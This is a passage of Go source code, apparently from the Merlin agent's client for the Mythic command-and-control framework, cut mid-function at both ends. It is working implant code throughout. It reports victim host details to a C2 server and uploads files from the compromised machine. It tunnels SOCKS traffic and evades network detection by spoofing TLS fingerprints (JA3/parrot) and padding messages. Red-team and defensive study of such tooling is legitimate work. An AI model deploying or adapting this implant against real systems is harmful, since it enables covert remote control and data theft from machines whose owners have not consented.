\"h2c\" {\n\t\tclient.ClientType = merlinHTTP.HTTP2\n\t}\n\n\tif client.Protocol == \"http3\" {\n\t\tclient.ClientType = merlinHTTP.HTTP3\n\t}\n\n\t// If JA3 or Parrot was set, override the client type forcing HTTP/1.1 using the uTLS client\n\tif client.JA3 != \"\" {\n\t\tclient.ClientType = merlinHTTP.JA3\n\t} else if client.Parrot != \"\" {\n\t\tclient.ClientType = merlinHTTP.PARROT\n\t}\n\n\t// Build HTTP client config\n\thttpConfig := merlinHTTP.Config{\n\t\tClientType: client.ClientType,\n\t\tInsecure:   client.insecureTLS,\n\t\tJA3:        client.JA3,\n\t\tParrot:     client.Parrot,\n\t\tProtocol:   client.Protocol,\n\t\tProxyURL:   client.Proxy,\n\t}\n\n\t// Get the HTTP client\n\tclient.Client, err = merlinHTTP.NewHTTPClient(httpConfig)\n\tif err != nil {\n\t\treturn &client, err\n\t}\n\n\tcli.Message(cli.INFO, \"Client information:\")\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tMythic Payload ID: %s\", client.MythicID))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tProtocol: %s\", client.Protocol))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tHTTP Client Type: %s\", client.ClientType))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAuthenticator: %s\", client.Authenticator))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tTransforms: %+v\", client.transformers))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tURL: %s\", client.URL))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tUser-Agent: %s\", client.UserAgent))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tHTTP Host Header: %s\", client.Host))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tHTTP Headers: %s\", client.Headers))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tProxy: %s\", client.Proxy))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tPayload Padding Max: %d\", client.PaddingMax))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tJA3 String: %s\", client.JA3))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tParrot String: %s\", client.Parrot))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tInsecure TLS: %t\", client.insecureTLS))\n\n\treturn &client, nil\n}\n\n// Authenticate executes the configured authentication method sending the necessary messages to the server to\n// complete authentication.\n// This function takes in a Base message for when the server returns information to continue\n// the process or needs to re-authenticate.\nfunc (client *Client) Authenticate(msg messages.Base) (err error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.Authenticate()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Input Merlin message base:\\n%+v\", msg))\n\n\tclient.authenticated = false\n\tvar authenticated bool\n\n\t// Repeat until authenticator is complete and Agent is authenticated\n\tfor {\n\t\tmsg, authenticated, err = client.Authenticator.Authenticate(msg)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t// An empty message was received indicating to exit the function\n\t\tif msg.Type == 0 {\n\t\t\treturn\n\t\t}\n\n\t\t// Once authenticated, update the client's secret used to encrypt messages\n\t\tif authenticated {\n\t\t\tclient.authenticated = true\n\t\t\tvar key []byte\n\t\t\tkey, err = client.Authenticator.Secret()\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Don't update the secret if the authenticator returned an empty key\n\t\t\tif len(key) > 0 {\n\t\t\t\tclient.secret = key\n\t\t\t}\n\t\t\t// Mythic returns a new UUID after authentication has been completed\n\t\t\tclient.MythicID = msg.ID\n\t\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"%s authentication completed\", client.Authenticator))\n\t\t\treturn\n\t\t}\n\n\t\t// Send the message to the server\n\t\tvar msgs []messages.Base\n\t\tmsgs, err = client.Send(msg)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\t// Add a response message to the next loop iteration\n\t\tif len(msgs) > 0 {\n\t\t\tmsg = msgs[0]\n\t\t}\n\n\t\t// If the Agent is authenticated, exit the loop and continue\n\t\tif authenticated {\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/mythic.Listen(): the Mythic HTTP client does not support the Listen function\")\n\treturn\n}\n\n// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n// can be sent/received.\nfunc (client *Client) Synchronous() bool {\n\treturn false\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server\n// The function also decodes and decrypts response messages and return a Merlin message structure.\n// This is where the client's logic is for communicating with the server.\nfunc (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.Send()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"input message base:\\n%+v\", m))\n\n\t// Set the message padding\n\tif client.PaddingMax > 0 {\n\t\tm.Padding = core.RandStringBytesMaskImprSrc(rand2.Intn(client.PaddingMax))\n\t}\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Added message padding size: %d\", len(m.Padding)))\n\n\tpayload, err := client.Construct(m)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error converting the Merlin message to a Mythic message:\\n%s\", err)\n\t\treturn\n\t}\n\n\t// File Transfer messages are recursively processed and completed through the prior call to convertToMythicMessage()\n\t// Therefore, we can return here\n\t// If there was more than one job in the message, the returned \"payload\" will not be empty\n\tif m.Type == messages.JOBS && len(payload) == 0 {\n\t\tj := m.Payload.([]jobs.Job)\n\t\tfor _, v := range j {\n\t\t\tif v.Type == jobs.FILETRANSFER {\n\t\t\t\tf := j[0].Payload.(jobs.FileTransfer)\n\t\t\t\t// When true, the AGENT is downloading the file to the Server; the operator issued the \"download\" command\n\t\t\t\tif f.IsDownload {\n\t\t\t\t\treturnMessages = append(returnMessages, messages.Base{ID: client.AgentID, Type: messages.IDLE})\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Build the request\n\treq, err := http.NewRequest(\"POST\", client.URL, bytes.NewReader(payload))\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error building the HTTP request:\\n%s\", err)\n\t\treturn\n\t}\n\n\t// Add HTTP headers\n\tif req != nil {\n\t\treq.Header.Set(\"User-Agent\", client.UserAgent)\n\t\tif client.Host != \"\" {\n\t\t\treq.Host = client.Host\n\t\t}\n\t}\n\tfor header, value := range client.Headers {\n\t\treq.Header.Set(header, value)\n\t}\n\n\t// Send the request\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Sending POST request size: %d to: %s\", req.ContentLength, client.URL))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"HTTP Request:\\n%+v\", req))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"HTTP Request Payload:\\n%+v\", req.Body))\n\tresp, err := client.Client.Do(req)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error sending a message to the server:\\n%s\", err)\n\t\treturn\n\t}\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"HTTP Response:\\n%+v\", resp))\n\t// Process the response\n\n\t// Check the status code\n\tswitch resp.StatusCode {\n\tcase 200:\n\tdefault:\n\t\terr = fmt.Errorf(\"there was an error communicating with the server:\\n%d\", resp.StatusCode)\n\t\treturn\n\t}\n\n\t// Check to make sure message response contained data\n\tif resp.ContentLength == 0 {\n\t\terr = fmt.Errorf(\"the response message did not contain any data\")\n\t\treturn\n\t}\n\n\t// Read the response body\n\trespData, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error reading the HTTP payload response message:\\n%s\", err)\n\t\treturn\n\t}\n\treturn client.Deconstruct(respData)\n}\n\n// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent\nfunc (client *Client) Initial() (err error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.Initial()...\")\n\n\tas := agent.NewAgentService()\n\ta := as.Get()\n\n\t// Mythic requires a specific agent Checkin message format after authentication\n\t// Build an initial checkin message\n\tcheckIn := CheckIn{\n\t\tAction:    \"checkin\",\n\t\tIP:        selectIP(a.Host().IPs),\n\t\tOS:        a.Host().Platform,\n\t\tUser:      a.Process().UserName,\n\t\tHost:      a.Host().Name,\n\t\tProcess:   a.Process().Name,\n\t\tPID:       a.Process().ID,\n\t\tPayloadID: client.MythicID.String(), // Need to set now because it will be changed to tempUUID from RSA key exchange\n\t\tArch:      a.Host().Architecture,\n\t\tDomain:    a.Process().Domain,\n\t\tIntegrity: a.Process().Integrity,\n\t}\n\n\t// Authenticate the Agent\n\terr = client.Authenticate(messages.Base{})\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Send checkin message\n\tbase := messages.Base{\n\t\tID:      client.AgentID,\n\t\tType:    messages.CHECKIN,\n\t\tPayload: checkIn,\n\t}\n\n\t_, err = client.Send(base)\n\n\treturn\n}\n\n// Set is a generic function used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) error {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.Set()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Key: %s, Value: %s\", key, value))\n\tvar err error\n\tswitch strings.ToLower(key) {\n\tcase \"ja3\":\n\t\tja3String := strings.Trim(value, \"\\\"'\")\n\t\tclient.Client, err = getClient(client.Protocol, client.Proxy, ja3String, client.Parrot, client.insecureTLS)\n\t\tif ja3String != \"\" {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Set agent JA3 signature to:%s\", ja3String))\n\t\t} else if ja3String == \"\" {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent client back to default using %s protocol\", client.Protocol))\n\t\t}\n\t\tclient.JA3 = ja3String\n\tcase \"paddingmax\":\n\t\tclient.PaddingMax, err = strconv.Atoi(value)\n\tcase \"parrot\":\n\t\tparrot := strings.Trim(value, \"\\\"'\")\n\t\tclient.Client, err = getClient(client.Protocol, client.Proxy, client.JA3, parrot, client.insecureTLS)\n\t\tif parrot != \"\" {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Set agent HTTP transport parrot to:%s\", parrot))\n\t\t} else if parrot == \"\" {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent client back to default using %s protocol\", client.Protocol))\n\t\t}\n\t\tclient.Parrot = parrot\n\tdefault:\n\t\terr = fmt.Errorf(\"unknown mythic client setting: %s\", key)\n\t}\n\treturn err\n}\n\n// Get is a generic function that is used to retrieve the value of a Client's field\nfunc (client *Client) Get(key string) string {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.Get()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Key: %s\", key))\n\tswitch strings.ToLower(key) {\n\tcase \"ja3\":\n\t\treturn client.JA3\n\tcase \"paddingmax\":\n\t\treturn strconv.Itoa(client.PaddingMax)\n\tcase \"parrot\":\n\t\treturn client.Parrot\n\tcase \"protocol\":\n\t\treturn client.Protocol\n\tdefault:\n\t\treturn fmt.Sprintf(\"unknown mythic client configuration setting: %s\", key)\n\t}\n}\n\n// getClient returns an HTTP client for the passed protocol, proxy, and ja3 string\nfunc getClient(protocol string, proxyURL string, ja3 string, parrot string, insecure bool) (*http.Client, error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.getClient()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Protocol: %s, Proxy: %s, JA3 String: %s, Parrot: %s\", protocol, proxyURL, ja3, parrot))\n\t/* #nosec G402 */\n\t// G402: TLS InsecureSkipVerify set true. (Confidence: HIGH, Severity: HIGH) Allowed for testing\n\t// Setup TLS configuration\n\tTLSConfig := &tls.Config{\n\t\tMinVersion:         tls.VersionTLS12,\n\t\tInsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59\n\t\tCipherSuites: []uint16{\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,\n\t\t},\n\t}\n\n\t// Proxy\n\tproxyFunc, errProxy := getProxy(protocol, proxyURL)\n\tif errProxy != nil {\n\t\treturn nil, errProxy\n\t}\n\n\t// JA3\n\tif ja3 != \"\" {\n\t\ttransport, err := utls.NewTransportFromJA3(ja3, insecure, proxyFunc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &http.Client{Transport: transport}, nil\n\t}\n\n\t// Parrot - If a JA3 string was set, it will be used, and the parroting will be ignored\n\tif parrot != \"\" {\n\t\t// Build the transport\n\t\ttransport, err := utls.NewTransportFromParrot(parrot, insecure, proxyFunc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &http.Client{Transport: transport}, nil\n\t}\n\n\tvar transport http.RoundTripper\n\tswitch strings.ToLower(protocol) {\n\tcase \"h2\":\n\t\tTLSConfig.NextProtos = []string{\"h2\"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids\n\t\ttransport = &http2.Transport{\n\t\t\tTLSClientConfig: TLSConfig,\n\t\t}\n\tcase \"h2c\":\n\t\ttransport = &http2.Transport{\n\t\t\tAllowHTTP: true,\n\t\t\tDialTLS: func(network, addr string, cfg *tls.Config) (net.Conn, error) {\n\t\t\t\treturn net.Dial(network, addr)\n\t\t\t},\n\t\t}\n\tcase \"https\":\n\t\tTLSConfig.NextProtos = []string{\"http/1.1\"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids\n\t\ttransport = &http.Transport{\n\t\t\tTLSClientConfig: TLSConfig,\n\t\t\tMaxIdleConns:    10,\n\t\t\tProxy:           proxyFunc,\n\t\t\tIdleConnTimeout: 1 * time.Nanosecond,\n\t\t}\n\tcase \"http\":\n\t\ttransport = &http.Transport{\n\t\t\tMaxIdleConns:    10,\n\t\t\tProxy:           proxyFunc,\n\t\t\tIdleConnTimeout: 1 * time.Nanosecond,\n\t\t}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%s is not a valid client protocol\", protocol)\n\t}\n\treturn &http.Client{Transport: transport}, nil\n}\n\n// Deconstruct takes in a byte array that is unmarshalled from a JSON structure to Mythic structure, and\n// then it is subsequently converted into a Merlin messages.Base structure\nfunc (client *Client) Deconstruct(data []byte) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.Deconstruct()...\")\n\n\t// Transforms\n\tfor _, t := range client.transformers {\n\t\tvar ret any\n\t\tif t.String() == \"mythic\" {\n\t\t\tret, err = t.Deconstruct(data, []byte(client.MythicID.String()))\n\t\t\tdata = ret.([]byte)\n\t\t} else {\n\t\t\tret, err = t.Deconstruct(data, client.secret)\n\t\t\tdata = ret.([]byte)\n\t\t}\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error transforming the Mythic message:\\n%s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Decrypted JSON:\\n%s\", data))\n\n\t// Determine the action, so we know what structure to unmarshal to\n\tvar action string\n\tif bytes.Contains(data, []byte(\"\\\"action\\\":\\\"checkin\\\"\")) {\n\t\taction = CHECKIN\n\t} else if bytes.Contains(data, []byte(\"\\\"action\\\":\\\"get_tasking\\\"\")) {\n\t\taction = TASKING\n\t} else if bytes.Contains(data, []byte(\"\\\"action\\\":\\\"post_response\\\"\")) {\n\t\taction = RESPONSE\n\t} else if bytes.Contains(data, []byte(\"\\\"action\\\":\\\"staging_rsa\\\"\")) {\n\t\taction = RSAStaging\n\t} else if bytes.Contains(data, []byte(\"\\\"action\\\":\\\"upload\\\"\")) {\n\t\taction = UPLOAD\n\t} else {\n\t\terr = fmt.Errorf(\"message did not contain a known action:\\n%s\", data)\n\t\treturn\n\t}\n\n\treturnMessage := messages.Base{\n\t\tID:   client.AgentID,\n\t\tType: messages.IDLE,\n\t}\n\n\t// Logic for processing or converting Mythic messages\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Action: %s\", action))\n\tswitch action {\n\tcase CHECKIN:\n\t\tvar msg Response\n\t\t// Unmarshal the JSON message\n\t\terr = json.Unmarshal(data, &msg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error unmarshalling the JSON object in the message handler:\\n%s\", err)\n\t\t\treturn\n\t\t}\n\t\tif msg.Status == \"success\" {\n\t\t\tcli.Message(cli.SUCCESS, \"Initial checkin successful\")\n\t\t\tclient.MythicID = uuid.MustParse(msg.ID)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"unknown checkin action status:\\n%+v\", msg)\n\t\treturn\n\tcase RSAStaging:\n\t\t// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin#eke-by-generating-client-side-rsa-keys\n\t\tvar msg rsa2.Response\n\t\terr = json.Unmarshal(data, &msg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error unmarshalling the JSON object to mythic.RSAResponse in the message handler:\\n%s\", err)\n\t\t\treturn\n\t\t}\n\t\treturnMessage.Type = messages.KEYEXCHANGE\n\t\treturnMessage.Payload = msg\n\t\treturnMessages = append(returnMessages, returnMessage)\n\tcase TASKING:\n\t\tvar msg Tasks\n\t\t// Unmarshal the JSON message\n\t\terr = json.Unmarshal(data, &msg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error unmarshalling the JSON object to mythic.Tasks in the message handler:\\n%s\", err)\n\t\t\treturn\n\t\t}\n\t\t// If there are any tasks/jobs, add them\n\t\tif len(msg.Tasks) > 0 {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"returned Mythic tasks:\\n%+v\", msg))\n\t\t\treturnMessage, err = client.convertTasksToJobs(msg.Tasks)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\treturnMessages = append(returnMessages, returnMessage)\n\t\t}\n\t\t// SOCKS5\n\t\tif len(msg.SOCKS) > 0 {\n\t\t\t// There is SOCKS data to send to the SOCKS server\n\t\t\treturnMessage, err = client.convertSocksToJobs(msg.SOCKS)\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.WARN, err.Error())\n\t\t\t}\n\t\t\tif len(returnMessage.Payload.([]jobs.Job)) > 0 {\n\t\t\t\treturnMessages = append(returnMessages, returnMessage)\n\t\t\t}\n\t\t}\n\tcase RESPONSE:\n\t\t// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response\n\t\tvar msg ServerPostResponse\n\t\terr = json.Unmarshal(data, &msg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error unmarshalling the JSON object to a mythic.ServerTaskResponse structure in the message handler:\\n%s\", err)\n\t\t\treturn\n\t\t}\n\t\t// SOCKS5\n\t\tif len(msg.SOCKS) > 0 {\n\t\t\t// There is SOCKS data to send to the SOCKS server\n\t\t\treturnMessage, err = client.convertSocksToJobs(msg.SOCKS)\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.WARN, err.Error())\n\t\t\t}\n\t\t\tif len(returnMessage.Payload.([]jobs.Job)) > 0 {\n\t\t\t\treturnMessages = append(returnMessages, returnMessage)\n\t\t\t}\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"post_response results from the server: %+v\", msg))\n\t\tfor _, response := range msg.Responses {\n\t\t\tif response.Error != \"\" {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"There was an error sending a task to the Mythic server:\\n%+v\", response))\n\t\t\t}\n\t\t\tif response.FileID != \"\" {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Mythic FileID: %s\", response.FileID))\n\t\t\t\tif response.Status == \"success\" {\n\t\t\t\t\tjob := jobs.Job{\n\t\t\t\t\t\tAgentID: client.AgentID,\n\t\t\t\t\t\tID:      response.ID,\n\t\t\t\t\t\tType:    DownloadSend,\n\t\t\t\t\t\tPayload: response.FileID,\n\t\t\t\t\t}\n\t\t\t\t\treturnMessage.Type = messages.JOBS\n\t\t\t\t\treturnMessage.Payload = []jobs.Job{job}\n\t\t\t\t\treturnMessages = append(returnMessages, returnMessage)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif response.Status == \"success\" && response.ID != \"\" {\n\t\t\t\treturnMessage.Token = response.ID\n\t\t\t\treturnMessage.Type = messages.IDLE\n\t\t\t\treturnMessages = append(returnMessages, returnMessage)\n\t\t\t}\n\t\t}\n\t\treturn\n\tdefault:\n\t\terr = fmt.Errorf(\"unknown Mythic action: %s\", action)\n\t\treturn\n\t}\n\treturn\n}\n\n// Construct takes in Merlin message base, converts it into to a Mythic message JSON structure,\n// encrypts it, prepends the Mythic UUID, and Base64 encodes the entire string\nfunc (client *Client) Construct(m messages.Base) ([]byte, error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.Construct()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Input Merlin message base:\\n %+v\", m))\n\n\tvar err error\n\tvar data []byte\n\n\tswitch m.Type {\n\tcase messages.CHECKIN:\n\t\t// Send the very first checkin message\n\t\tif m.Payload != nil {\n\t\t\tmsg := m.Payload.(CheckIn)\n\t\t\tmsg.Padding = m.Padding\n\t\t\t// Marshal the structure to a JSON object\n\t\t\tdata, err = json.Marshal(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn []byte{}, fmt.Errorf(\"there was an error marshalling the mythic.CheckIn structrong to JSON:\\n%s\", err)\n\t\t\t}\n\t\t} else { // Merlin had no responses to send back\n\t\t\ttask := Tasking{\n\t\t\t\tAction:  TASKING,\n\t\t\t\tSize:    -1,\n\t\t\t\tPadding: m.Padding,\n\t\t\t}\n\t\t\t// Marshal the structure to a JSON object\n\t\t\tdata, err = json.Marshal(task)\n\t\t\tif err != nil {\n\t\t\t\treturn []byte{}, fmt.Errorf(\"there was an error marshalling the mythic.CheckIn structure to JSON:\\n%s\", err)\n\t\t\t}\n\t\t}\n\tcase messages.JOBS:\n\t\treturnMessage := PostResponse{\n\t\t\tAction:    RESPONSE,\n\t\t\tPadding:   m.Padding,\n\t\t\tSOCKS:     []Socks{},\n\t\t\tResponses: []ClientTaskResponse{},\n\t\t}\n\t\t// Convert Merlin jobs to mythic response\n\t\tfor _, job := range m.Payload.([]jobs.Job) {\n\t\t\tvar response ClientTaskResponse\n\t\t\tif job.ID != \"\" {\n\t\t\t\tresponse.ID = uuid.MustParse(job.ID)\n\t\t\t}\n\t\t\tresponse.Completed = true\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Converting Merlin job type: %d to Mythic response\", job.Type))\n\t\t\tswitch job.Type {\n\t\t\tcase jobs.RESULT:\n\t\t\t\tresponse.Output = job.Payload.(jobs.Results).Stdout\n\t\t\t\tif job.Payload.(jobs.Results).Stderr != \"\" {\n\t\t\t\t\tresponse.Output += job.Payload.(jobs.Results).Stderr\n\t\t\t\t\tresponse.Status = StatusError\n\t\t\t\t}\n\t\t\t\treturnMessage.Responses = append(returnMessage.Responses, response)\n\t\t\tcase jobs.AGENTINFO:\n\t\t\t\tinfo, err := json.Marshal(job.Payload)\n\t\t\t\tif err != nil {\n\t\t\t\t\tresponse.Output = fmt.Sprintf(\"there was an error marshalling the AgentInfo structure to JSON:\\n%s\", err)\n\t\t\t\t\tresponse.Status = StatusError\n\t\t\t\t}\n\t\t\t\tresponse.Output = string(info)\n\t\t\t\treturnMessage.Responses = append(returnMessage.Responses, response)\n\t\t\tcase jobs.FILETRANSFER:\n\t\t\t\tf := job.Payload.(jobs.FileTransfer)\n\t\t\t\t// Download https://docs.mythic-c2.net/customizing/hooking-features/download\n\t\t\t\tif f.IsDownload {\n\t\t\t\t\t// DownloadInit - Get FileID from Mythic\n\t\t\t\t\t// 1. PostResponse - Added in the convertToMythicMessage() function on the switch for DownloadSend\n\t\t\t\t\t// 2. ClientTaskResponse\n\t\t\t\t\t// 3. FileDownload\n\t\t\t\t\tfm := FileDownload{\n\t\t\t\t\t\tNumChunks: 1,\n\t\t\t\t\t\tFullPath:  f.FileLocation,\n\t\t\t\t\t}\n\n\t\t\t\t\tctr := ClientTaskResponse{\n\t\t\t\t\t\tID:       response.ID,\n\t\t\t\t\t\tDownload: &fm,\n\t\t\t\t\t}\n\n\t\t\t\t\tdownloadMessage := messages.Base{\n\t\t\t\t\t\tID:      client.AgentID,\n\t\t\t\t\t\tType:    DownloadInit,\n\t\t\t\t\t\tPayload: ctr,\n\t\t\t\t\t}\n\n\t\t\t\t\tresp, err := client.Send(downloadMessage)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn []byte{}, fmt.Errorf(\"clients/mythic.convertToMythicMessage(): There was an error sending the mythic FileDownload:DownloadInit message to the server: %s\", err)\n\t\t\t\t\t}\n\n\t\t\t\t\t// Get the file ID from the response\n\t\t\t\t\tif len(resp) <= 0 {\n\t\t\t\t\t\treturn []byte{}, fmt.Errorf(\"clients/mythic.convertToMythicMessage(): The were no return messages after requesting a FileID from Mythic\")\n\t\t\t\t\t}\n\t\t\t\t\tif resp[0].Type != messages.JOBS {\n\t\t\t\t\t\treturn []byte{}, fmt.Errorf(\"clients/mythic.convertToMythicMessage(): The first message in the response for DownloadInit was not a jobs message\")\n\t\t\t\t\t}\n\t\t\t\t\tjs := resp[0].Payload.([]jobs.Job)\n\t\t\t\t\tif len(js) <= 0 {\n\t\t\t\t\t\treturn []byte{}, fmt.Errorf(\"clients/mythic.convertToMythicMessage(): The first message in the response for DownloadInit did not contain any jobs\")\n\t\t\t\t\t}\n\t\t\t\t\tif js[0].Type != DownloadSend {\n\t\t\t\t\t\treturn []byte{}, fmt.Errorf(\"clients/mythic.convertToMythicMessage(): Expected the first job to be a DownloadSend(%d) job but received %d\", DownloadSend, js[0].Type)\n\t\t\t\t\t}\n\n\t\t\t\t\t// TODO Chunk the data\n\t\t\t\t\t// DownloadSend - Send actual data\n\t\t\t\t\tfm2 := FileDownload{\n\t\t\t\t\t\tData:   f.FileBlob,\n\t\t\t\t\t\tFileID: js[0].Payload.(string),\n\t\t\t\t\t\tChunk:  1,\n\t\t\t\t\t}\n\n\t\t\t\t\tctr.Download = &fm2\n\t\t\t\t\tctr.Completed = true\n\n\t\t\t\t\tdownloadMessage.Type = DownloadSend\n\t\t\t\t\tdownloadMessage.Payload = ctr\n\t\t\t\t\tresp, err = client.Send(downloadMessage)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn []byte{}, fmt.Errorf(\"there was an error sending the mythic FileDownload:DownloadSend message to the server: %s\", err)\n\t\t\t\t\t}\n\t\t\t\t\t// If this is the only job, then return; else keep processing remaining jobs\n\t\t\t\t\tif len(m.Payload.([]jobs.Job)) == 1 {\n\t\t\t\t\t\treturn []byte{}, nil\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase jobs.SOCKS:\n\t\t\t\tsockMsg := job.Payload.(jobs.Socks)\n\t\t\t\t// SOCKS server's initial response is 0x05, 0x00\n\t\t\t\tif bytes.Equal(sockMsg.Data, []byte{0x05, 0x00}) {\n\t\t\t\t\t// Drop the job because Mythic doesn't need it for anything and we are spoofing the SOCKS handshake agent side\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tsock := Socks{\n\t\t\t\t\tExit: sockMsg.Close,\n\t\t\t\t}\n\t\t\t\t// Translate Merlin's SOCKS connection UUID to a Mythic server_id integer\n\t\t\t\tid, ok := mythicSocksConnection.Load(sockMsg.ID)\n\t\t\t\tif !ok {\n\t\t\t\t\terr = fmt.Errorf(\"there was an error mapping the SOCKS connection ID %s to the Mythic connection ID\", sockMsg.ID)\n\t\t\t\t\treturn []byte{}, err\n\t\t\t\t}\n\t\t\t\tsock.ServerId = id.(int32)\n\n\t\t\t\t// Base64 encode the data\n\t\t\t\tsock.Data = base64.StdEncoding.EncodeToString(sockMsg.Data)\n\t\t\t\t//fmt.Printf(\"\\t[*] SOCKS Data size: %d\\n\", len(sockMsg.Data))\n\n\t\t\t\t// Add to return messages\n\t\t\t\treturnMessage.SOCKS = append(returnMessage.SOCKS, sock)\n\n\t\t\t\t// Clean up the maps\n\t\t\t\tif sockMsg.Close {\n\t\t\t\t\tsocksConnection.Delete(id)\n\t\t\t\t\tmythicSocksConnection.Delete(sockMsg.ID)\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\treturn []byte{}, fmt.Errorf(\"unhandled job type in convertToMythicMessage: %s\", job.Type)\n\t\t\t}\n\t\t}\n\t\t// Marshal the structure to a JSON object\n\t\tif len(returnMessage.Responses) == 0 && len(returnMessage.SOCKS) == 0 {\n\t\t\t// Used when an input Merlin job has a SOCKS type, but we drop the message and don't want to send it to Mythic\n\t\t\ttask := Tasking{\n\t\t\t\tAction:  TASKING,\n\t\t\t\tSize:    -1,\n\t\t\t\tPadding: m.Padding,\n\t\t\t}\n\t\t\t// Marshal the structure to a JSON object\n\t\t\tdata, err = json.Marshal(task)\n\t\t\tif err != nil {\n\t\t\t\treturn []byte{}, fmt.Errorf(\"there was an error marshalling the mythic.CheckIn structure to JSON:\\n%s\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tdata, err = json.Marshal(returnMessage)\n\t\t\tif err != nil {\n\t\t\t\treturn []byte{}, fmt.Errorf(\"there was an error marshalling the mythic.PostResponse structure to JSON:\\n%s\", 